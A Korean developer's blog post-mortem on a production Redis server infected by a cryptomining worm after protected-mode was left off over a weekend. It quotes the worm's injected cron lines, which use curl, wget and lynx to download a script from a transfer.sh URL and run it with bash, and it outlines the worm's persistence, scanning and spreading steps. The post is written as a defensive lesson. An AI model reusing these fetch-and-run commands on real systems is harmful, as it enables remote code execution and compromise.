Redis protected-mode를 끄고 주말을 넘긴 결과
잠깐이면 되겠지
웹서버와 소켓서버 사이에서 Pub/Sub으로 메시지를 중계하는 Redis를 세팅하던 중에 일어난 일입니다.
로컬에서 작업하며 실서버 Redis에 붙어 확인하고 싶었습니다. 그런데 Redis는 기본 설정으로 외부 접근을 막고 있었습니다. 보안 이슈가 많아서 protected-mode가 기본으로 켜져 있다고 했습니다.
Redis parameter PROTECTED-MODE
검색해보니 Stack Overflow 답변에는 protected-mode를 끄라는 식의 해결책이 보였습니다. 지금 생각하면 운영 서버에서 그대로 따라 하면 안 되는 답이었는데, 당시에는 로컬에서 붙어야 하는 불편함이 더 크게 보였습니다.
그래서 protected-mode를 끄고 Redis를 데몬으로 올렸습니다.
찝찝함이 없었던 것은 아닙니다. 다만 “잠깐 확인하고 다시 정리하면 되겠지”라고 생각했습니다. 문제는 그 상태로 주말을 넘겼다는 점이었습니다.
푸시가 안 되면서 시작된 이상함
그 다음 주, 푸시가 되지 않았습니다.
처음에는 애플리케이션 쪽 문제라고 생각했습니다. 그런데 서버를 보니 crontab 내용이 모두 사라져 있었습니다. Redis 서버도 내려가 있었습니다.
이때부터 느낌이 좋지 않았습니다. 단순히 Redis가 죽은 문제가 아니라, 서버 안의 다른 설정까지 건드려진 것처럼 보였습니다.
Redis를 다시 켰습니다. 그런데 몇 분도 지나지 않아 crontab에 이상한 내용이 다시 쓰이는 것을 발견했습니다.
REDIS0007ú redis-ver^F3.2.11ú
redis-bitsÀ@ú^EctimeÂ^Er^B[ú^Hused-memÂÐ<86>^K^@þ^@û^C^@^@^GBackup2@R
*/5 * * * * wget -O .cmd https://transfer.sh/OpXVz/tmp.NvSpnTSrQR && bash .cmd
^@^GBackup3@Z
*/10 * * * * lynx -source https://transfer.sh/OpXVz/tmp.NvSpnTSrQR > .cmd && bash .cmd
^@^GBackup1@T
*/2 * * * * curl -s https://transfer.sh/OpXVz/tmp.NvSpnTSrQR > .cmd && bash .cmd
ÿøG-ó<83>l:â
REDIS0007 같은 문자열이 보였습니다. Redis dump 파일처럼 보이는데, 그 안에 curl, wget, lynx로 외부 스크립트를 내려받아 실행하는 cron이 섞여 있었습니다.
여기서 확실히 이상하다고 느꼈습니다. 설정 실수나 프로세스 오류가 아니라, 누군가 Redis를 통해 서버에 명령을 심고 있었습니다.
정작 저 파일들을 내려받는 경로로 가보면 이미 아무것도 없었습니다. 그래도 흔적은 충분했습니다. 찾아보니 일종의 Redis mining worm에 감염된 것이었습니다.
Redis는 단순한 캐시가 아니었다
https://isc.sans.edu/forums/diary/Anatomy+of+a+Redis+mining+worm/23673/
SANS ISC의 분석 글을 보니 당시 유행하던 Redis mining worm과 증상이 비슷했습니다.
결론만 보면 목적은 코인 채굴이었습니다. 데이터 탈취나 파괴가 주 목적은 아니었다고 합니다. 하지만 그 사실이 크게 안심되지는 않았습니다. Redis를 통해 cron을 바꾸고 스크립트를 실행할 수 있었다면, 다른 목적의 공격도 충분히 가능했기 때문입니다.
이때 Redis를 너무 가볍게 보고 있었다는 생각이 들었습니다. Pub/Sub 중계 용도였고, 데이터도 중요한 저장소처럼 쓰고 있지는 않았습니다. 그래서 “캐시 서버 하나 잠깐 열어둔 것” 정도로 생각했습니다.
하지만 외부에 열린 Redis는 단순한 캐시가 아니었습니다. 설정에 따라 파일을 쓰고, cron에 명령을 넣고, 서버 안에서 스크립트를 실행하는 발판이 될 수 있었습니다.
채굴 웜이 한 일
SANS 글에 따르면 이 웜은 단순히 채굴 프로그램 하나를 실행하고 끝나는 구조가 아니었습니다. 서버 안에서 버티고, 흔적을 지우고, 다른 서버로 퍼지기 위한 작업을 같이 수행했습니다.
- 기존 mutex 삭제 후 worm이 사용할 mutex를 추가한다. 같은 스크립트에서 인스턴스를 여러개 돌리는 걸 방지
- trap handler를 조작하여, 스크립트 종료시 모든 스크립트 파일을 제거한다.
- SELinux 비활성화
- crontab 내용 제거, 여기에 worm을 설치하는 코드가 삽입되어 있었기 때문에 흔적을 지우는 목적으로 추정된다.
- 왜 때문인지는 몰라도 무언가와 충돌하여 원래 지워졌어야 할 crontab 내용이 남겨진 것으로 추정된다. 그래서 이상 여부를 바로 의심할 수 있었다.
- 네임서버 목록에 구글 네임서버(8.8.8.8) 추가
- 파일/프로세스 security limit 갱신
- 외부 접근 비활성화, loopback 활성화
- 경쟁 miner 프로세스, 스크립트 제거
- redis 클라이언트 등 tool 설치
- pnscan 설치 및 빌드, 멀티스레드 포트 스캐너인데 여기선 추가 대상 서버를 찾는 용도로 사용
- cryptominer( 채굴 프로그램 ) binary 설치 후 transfer.sh에 다시 업로드
- 채굴 프로그램을 .gpg로 이름 변경후 실행
- 스크립트를 변경하여 버티는 기간을 늘린다.
- 서브넷에 있는 다른 오픈된 redis 서버를 찾아다님 ( 1.0.0.0/16 ~ 224.255.0.0/16 )
- redis 클라이언트를 이용 감지된 다른 redis 서버에 전파
- /tmp 디렉토리 내 파일, 캐시, bash history, log, mail spool 제거, 흔적 제거 용도로 추정
- 위 과정 반복 및 흔적 제거
목록으로 보면 길지만, 핵심은 세 가지였습니다.
첫째, cron을 바꿔서 자기 자신을 계속 실행하려고 했습니다. 둘째, 경쟁 miner나 흔적을 지우며 서버 안에 오래 남으려 했습니다. 셋째, pnscan 같은 도구로 다른 열린 Redis를 찾아 전파하려 했습니다.
운이 좋았던 점도 있었습니다. 원래라면 crontab 내용이 지워지고 흔적도 더 깔끔하게 사라졌을 수 있습니다. 그런데 무언가가 충돌했는지 이상한 내용이 crontab에 남았고, 그 덕분에 빠르게 의심할 수 있었습니다.
적은 수업비로 배운 것
다행히 큰 사고로 이어지지는 않았습니다. 복구 작업도 많지 않았습니다.
하지만 지금 돌아보면 “다행히 별일 아니었다”보다 “운이 좋았다”에 더 가깝습니다. 공격 목적이 채굴이었다는 것도 결과적으로 그랬을 뿐입니다. 같은 실수로 더 나쁜 공격을 맞을 수도 있었습니다.
원인은 단순했습니다.
로컬 접근이 번거롭다는 이유로 운영 서버의 보호 장치를 껐고, 그 상태를 바로 되돌리지 않았습니다. “잠깐이면 괜찮겠지”라는 판단이 주말 동안 열린 포트가 되었습니다.
이후로 Redis를 볼 때 감각이 조금 달라졌습니다. Redis는 설치도 쉽고, 붙기도 쉽고, 빠릅니다. 그래서 개발 중에는 편한 도구처럼 느껴집니다. 하지만 외부에 노출되는 순간에는 인증, 바인딩 주소, 방화벽, 네트워크 접근 범위까지 같이 봐야 하는 서버 프로세스입니다.
작은 편의를 위해 보호 장치를 끄는 일은 자주 유혹적입니다. 특히 혼자 빨리 확인해야 할 때는 더 그렇습니다. 그런데 운영 환경에서는 그 잠깐이 꽤 긴 시간이 될 수 있습니다.
그때는 비교적 적은 수업비로 배웠습니다. Redis는 간편하고 빠른 만큼, 외부 노출과 인증을 대충 넘기면 안 됩니다.
용어 짧게 정리
- Redis: 메모리 기반 key-value 저장소입니다. 캐시, 큐, Pub/Sub 등에 자주 사용됩니다.
- protected-mode: Redis가 외부 네트워크에서 무방비로 접근되는 것을 막기 위한 보호 설정입니다.
- Pub/Sub: 발행자가 메시지를 보내면 구독자가 받아가는 메시징 방식입니다.
- crontab: 리눅스에서 주기적으로 실행할 명령을 등록하는 설정입니다.
- mining worm: 감염된 서버에서 암호화폐 채굴 프로그램을 실행하고, 다른 서버로 퍼지려는 악성 스크립트입니다.
- pnscan: 네트워크 대역에서 열린 포트를 빠르게 찾는 스캐너입니다.